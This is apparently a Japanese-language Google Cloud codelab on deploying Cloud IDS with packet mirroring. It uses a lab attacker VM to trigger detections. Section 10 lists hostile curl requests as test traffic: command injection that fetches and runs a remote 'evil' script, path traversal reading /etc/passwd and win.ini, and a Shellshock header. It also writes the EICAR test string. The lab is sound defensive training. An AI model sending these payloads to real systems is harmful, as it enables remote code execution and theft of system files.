Cloud IDS

1. はじめに

このラボでは、Cloud IDS をデプロイします。Cloud IDS は高度な次世代侵入検知サービスです。侵入、マルウェア、スパイウェア、コマンド&コントロール攻撃の脅威を検出します。複数の攻撃をシミュレートして、Cloud コンソールで脅威の詳細を確認します。

学習内容

  • Cloud IDS エンドポイントの作成方法
  • gcloud コマンドを使用して 2 つの仮想マシンを作成する方法
  • パケット ミラーリング ポリシーの作成方法
  • 仮想マシンからの攻撃トラフィックをシミュレートする方法
  • Cloud コンソールと Cloud Logging で脅威の詳細を確認する方法

必要なもの

  • Linux の基本的なコマンドに関する知識

2. Cloud IDS のユースケース

Cloud IDS は、お客様が PCI 11.4 などの高度な脅威検出とコンプライアンス要件を満たすために、Google Cloud ネイティブの次世代侵入検知サービス(IDS)を提供します。このサービスは Palo Alto Networks の脅威対策技術を利用して、高度な侵入検知を提供しています。Google Cloud の世界水準のインフラストラクチャと Palo Alto Networks の世界水準のセキュリティを組み合わせることで、フルマネージド、高パフォーマンス、最高レベルのセキュリティ効率の高度な脅威検出サービスを他に類を見ない組み合わせで実現できます。

クラウドに移行するお客様にとって、セキュリティは最優先事項です。クラウドの侵入検知サービス(IDS)など、オンプレミスにあるのと同様のセキュリティ管理を望んでいます。サードパーティのセキュリティ・ソリューションを導入してインフラを管理する、または独自のシグネチャを使用するよりも、クラウド・ネイティブなマネージド IDS ソリューションを利用することを強く望みます。その理由は、サードパーティのセキュリティ・ソリューションの導入やインフラの管理よりも、導入が容易で、パフォーマンスが高く、コストが最適化されているからです。Google Cloud IDS は、エンドツーエンドかつ自動スケーリングのマネージド IDS サービスを提供します。これにより、お客様は脅威の分析と軽減に時間を費やし、インフラストラクチャや脅威シグネチャの管理に時間とリソースを費やすことができます。

Cloud IDS は帯域外でデプロイされ、脅威を検出してアラートを発信できますが、脅威をブロックすることはできません。Google Cloud Packet Mirroring を利用して、Palo Alto Network の脅威検出エンジンを使用して分析されるネットワーク トラフィックのコピーを作成します。

3. Codelab トポロジ

5a276f399e1d31e2.png

図 1. このラボで使用する Cloud IDS のデプロイのアーキテクチャの概要

4. 設定と要件

セルフペース型の環境設定

  1. Google Cloud Console にログインして、プロジェクトを新規作成するか、既存のプロジェクトを再利用します。Gmail アカウントも Google Workspace アカウントもまだお持ちでない場合は、アカウントを作成してください。

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • プロジェクト名は、このプロジェクトの参加者に表示される名称です。Google API では使用されない文字列で、いつでも更新できます。
  • プロジェクト ID は、すべての Google Cloud プロジェクトにおいて一意でなければならず、不変です(設定後は変更できません)。Cloud Console により一意の文字列が自動生成されます(通常は内容を意識する必要はありません)。ほとんどの Codelab では、プロジェクト ID を参照する必要があります(通常、プロジェクト ID は「PROJECT_ID」の形式です)。好みの文字列でない場合は、別のランダムな ID を生成するか、独自の ID を試用して利用可能であるかどうかを確認することができます。プロジェクトの作成後、ID は「フリーズ」されます。
  • 3 つ目の値として、一部の API が使用するプロジェクト番号があります。これら 3 つの値について詳しくは、こちらのドキュメントをご覧ください。
  1. 次に、Cloud のリソースや API を使用するために、Cloud Console で課金を有効にする必要があります。この Codelab の操作をすべて行って、費用が生じたとしても、少額です。このチュートリアルを終了した後に課金が発生しないようにリソースをシャットダウンするには、Codelab の最後にある「クリーンアップ」の手順を行います。Google Cloud の新規ユーザーは、300 米ドル分の無料トライアル プログラムをご利用いただけます。

Cloud Shell の起動

Google Cloud はノートパソコンからリモートで操作できますが、この Codelab では、Google Cloud Shell(Cloud 上で動作するコマンドライン環境)を使用します。

GCP Console で右上のツールバーにある Cloud Shell アイコンをクリックします。

bce75f34b2c53987.png

プロビジョニングと環境への接続にはそれほど時間はかかりません。完了すると、次のように表示されます。

f6ef2b5f13479f3a.png

この仮想マシンには、必要な開発ツールがすべて用意されています。永続的なホーム ディレクトリが 5 GB 用意されており、Google Cloud で稼働します。そのため、ネットワークのパフォーマンスと認証機能が大幅に向上しています。このラボでの作業はすべて、ブラウザから実行できます。

5. 始める前に

API を有効にする

Cloud Shell 内で、プロジェクト ID が設定されていることを確認します。

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

必要なサービスをすべて有効にする

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. VPC ネットワークを作成

VPC ネットワーク

Cloud Shell から

gcloud compute networks create cloud-ids \
--subnet-mode=custom

サブネット

Cloud Shell から

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

プライベート サービス アクセス

Cloud Shell から

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

プライベート サービス接続

Cloud Shell から

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

ファイアウォール ルール

IAP に VM インスタンスへの接続を許可するには、次のファイアウォール ルールを作成します。

  • IAP を使用してアクセスできるようにするすべての VM インスタンスに適用します。
  • IP 範囲 35.235.240.0/20 からの上り(内向き)トラフィックを許可する。この範囲には、IAP が TCP 転送に使用するすべての IP アドレスが含まれています。

Cloud Shell から

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

サーバーへの標準 HTTP ポート(TCP 80)と ICMP プロトコルを許可するには:

  • ネットワーク タグ「server」を持つリソースに適用されます。
  • すべての送信元からの上り(内向き)を許可

Cloud Shell から

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Cloud NAT インスタンスを作成する

Cloud Router

Cloud Shell から

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Cloud Shell から

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Cloud IDS エンドポイントを作成する

このセクションでは、重大度を「情報」に設定して、us-east1 に Cloud IDS エンドポイントを作成します。IDS エンドポイントの作成には約 20 分かかります。

IDS エンドポイント

Cloud Shell から

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Cloud IDS エンドポイントが開始されたことを確認する

gcloud ids endpoints list --project=$PROJECT_ID

出力 -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 2 つの仮想マシンを作成する

このセクションでは、2 つの仮想マシンを作成します。1 つ目は、Cloud IDS にミラーリングするウェブサーバーです。2 番目の仮想マシンが攻撃のトラフィック ソースになります。

仮想マシン 1(サーバー)

Cloud Shell から

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

仮想マシン 2(クライアント)

Cloud Shell から

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. サーバーを準備しています

このタスクでは、サーバーを検証し、クライアントに無害なマルウェア ペイロードを提供します。

Cloud Shell を使用して VM に SSH 接続する

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

ウェブサービスが実行されていることを確認する

sudo systemctl status nginx

出力 - アクティブで実行中であることを確認する

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

ディレクトリをウェブサービスに変更する

cd /var/www/html/

ウェブサーバーで無害なマルウェア ファイルを作成する

sudo touch eicar.file

内容を貼り付ける

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

CloudShell に戻る

exit

Cloud IDS Packet Mirroring ポリシーを作成する

IDS エンドポイント転送ルールを特定し、IDS エンドポイントの状態が「準備完了」であることを確認します。

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

出力例 -「endpointForwardingRule」から値をコピーする

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

IDS エンドポイント転送ルールを変数に保存します。

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Packet Mirroring ポリシー

Cloud Shell から

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Packet Mirroring ポリシーが作成されたことを確認する

Cloud Shell から

gcloud compute packet-mirrorings list

出力

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. 攻撃トラフィックをシミュレートする

攻撃者の仮想マシン(クライアント)に SSH 接続する

Cloud Shell から

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

次の curl リクエストを実行して、悪意のあるトラフィックをシミュレートします。

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

VM を終了して CloudShell に戻る

exit

11. Cloud IDS によって検出された脅威を確認する

Cloud IDS ダッシュボードに移動する

ナビゲーション メニュー >ネットワーク・セキュリティ >Cloud IDS

37583419aa604aa8.png

[脅威] タブに移動します。

b7d934f409b4e2b.png

ご覧のとおり、Cloud IDS はさまざまな攻撃トラフィック プロファイルをキャプチャし、各脅威の詳細を提供しました。[更新] をクリックして脅威が見当たらない場合は、このボタンをクリックします。ここでもう少し深く掘り下げて、脅威の詳細を確認します。

「Bash Remote Code Execution Vulnerability」を見つけます。右側のその他アイコンをクリックし、[脅威の詳細を表示] を選択します。

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

このインシデントの詳細を Cloud Logging で確認します。左向き矢印 をクリックして、[脅威] ページに戻ります。

右側のその他アイコンをクリックし、[脅威ログを表示] を選択します。

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Cloud Logging にも同じ詳細が提供されます。これにより、ログを Cloud Storage、Chronicle、または任意の SIEM/SOAR に送信できるようになります。また、アラートに基づいて修復アクションを実行するカスタム ワークフローを作成することもできます。例:アラートでトリガーする Cloud Functions の関数を作成し、IP アドレスをブロックするファイアウォール ルールを作成または更新するか、Cloud Armor ポリシーを作成 / 更新します。

12. クリーンアップ手順

VM インスタンスを終了(すべてのタブ)

exit

単一の Cloud Shell ターミナルからラボのコンポーネントを削除する

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. 完了

以上で、この Codelab は完了です。

学習した内容

  • Cloud IDS のユースケース
  • ネットワークの要件
  • サポートされている API
  • Cloud IDS エンドポイントを作成しました
  • 2 個の VM をデプロイしました
  • 「攻撃」を発生させたCompute Engine インスタンスから
  • IDS によって検証済みの脅威が検出された
  • 脅威の詳細とログを確認する